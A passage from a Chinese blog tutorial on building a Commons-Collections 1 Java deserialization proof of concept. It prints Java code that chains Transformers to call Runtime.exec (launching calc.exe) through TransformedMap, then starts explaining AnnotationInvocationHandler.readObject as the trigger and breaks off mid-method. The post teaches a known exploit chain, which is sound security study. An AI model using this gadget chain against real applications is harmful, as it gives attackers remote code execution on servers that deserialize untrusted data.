java安全(八)TransformedMap构造POC

b1gpig安全

已于 2022-08-06 06:23:29 修改

阅读量1.2k

点赞数 1

分类专栏： Java安全文章标签： java 安全安全漏洞信息安全

于 2022-07-31 15:47:46 首次发布

本文链接：https://blog.csdn.net/weixin_45694388/article/details/124529538

版权

本文深入解析了如何构造一个基于TransformedMap的Java安全漏洞POC，涉及AnnotationInvocationHandler类的利用，解释了为何在高版本Java中无法利用此漏洞，并给出了完整的代码示例。

摘要由CSDN通过智能技术生成

给个关注？宝儿！
给个关注？宝儿！
给个关注？宝儿！

上一篇构造了一个了commons-collections的demo
【传送门】

package test.org.vulhub.Ser;



import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
   
    public static void main(String[] args) throws Exception {
   
        Transformer[] transformers = new Transformer[]{
   
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{
   String.class},
                        new Object[]
                                {
   "C:\\WINDOWS\\system32\\calc.exe"}),
        };

        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

了解了Transformer，接下来尝试构建poc

AnnotationInvocationHandler

这个漏洞核心，是想Map中加一个新的元素，在demo中，我们通过手工执行 outerMap.put(“test”, “xxxx”); 来出发漏洞。但是在实际反序列化中，还需要有一个雷，使他在反序列化readObject中有类似写入的操作

就是：sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler的 readObject方法：

private void readObject(java.io.ObjectInputStream s) 
	throws java.io.IOException, ClassNotFoundException {
    
	s.defaultReadObject()

	// Check to make sure that types have not evolved incompatibly